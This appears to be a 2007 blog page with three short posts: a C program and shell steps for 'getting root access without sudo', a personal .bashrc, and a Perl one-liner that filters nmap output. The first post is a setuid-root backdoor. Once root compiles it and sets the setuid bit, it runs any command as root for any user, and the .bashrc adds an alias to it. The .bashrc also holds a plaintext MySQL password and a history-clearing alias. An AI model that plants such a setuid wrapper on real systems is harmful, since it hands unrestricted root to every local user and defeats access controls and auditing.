getting root acccess without sudo

Posted by root Sat, 29 Dec 2007 15:31:00 GMT

#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char** argv)
{
    int root_id = 0;
    char *command = argv[1];

    if(!command)
        command = "/bin/bash";

    setuid(root_id);
    system(command);
    exit(0);
}
root# gcc -o temproot temproot.c
root# chmod +s temproot
nobody$ alias root=’temproot “su – root”’
nobody$ root

Posted in  | Tags  | no comments

bashrc

Posted by root Sat, 29 Dec 2007 15:28:00 GMT

export PATH=$PATH:$HOME/bin:/usr/sbin:/sbin:$HOME/network
export TERM=linux
export gemdoc=`gem environment gemdir`/doc

function prompt_set {

 local GRAY="\[\033[1;30m\]"
 local LIGHT_GRAY="\[\033[0;37m\]"
 local CYAN="\[\033[0;36m\]"
 local LIGHT_CYAN="\[\033[1;36m\]"
 local NO_COLOUR="\[\033[0m\]"

 case $TERM in
    xterm*|rxvt*)
        local TITLEBAR='\[\033]0;\u@\h:\w\007\]'
        ;;
    *)
        local TITLEBAR=""
        ;;
 esac

 local temp=$(tty)
 local GRAD1=${temp:5}
PS1="$GRAY-$CYAN-$LIGHT_CYAN(\
$CYAN\u$GRAY@$CYAN\h$LIGHT_CYAN)$CYAN-$LIGHT_CYAN(\
$CYAN\$(date +%H:%M)$GRAY:$CYAN\w\
$LIGHT_CYAN)$CYAN-$GRAY-$LIGHT_GRAY "
PS2="$LIGHT_CYAN-$CYAN-$GRAY-$NO_COLOUR "
}

prompt_set

alias get_visits="ssh l 'tail /home/postgres/stats.txt'"
alias __='history | tail -2 | head -1'
alias r="temproot `id -u`'"
alias sql='mysql --password=pass'
alias ..='cd ..';
alias ...='cd ../..';
alias ,='cd -'
alias e=exit
alias e=exit
alias v=vim
alias l='ls -lc -h --color=yes'
alias c=clear
alias top='top -d1'
alias hc='history -c'
alias gre=grep
alias gr=gre
alias gpre=gr
alias grp=gpre
alias le=less
alias mroe=more
alias mreo=mroe
alias h=history
alias pe='perl -e'
alias pc='perl -c'
alias t=date
alias d=date

function FOR {
        local count=$1
        start=0
        shift
        while [ $start -lt $count ]
        do
        $*
        sleep 1
                clear
                let start=$start+1
        done
}

Posted in  | no comments

nmap cleaner in Perl

Posted by root Sat, 29 Dec 2007 15:26:00 GMT

$”=” @ARGV”;/^\D+/||print for`nmap$”`

Posted in ,  | no comments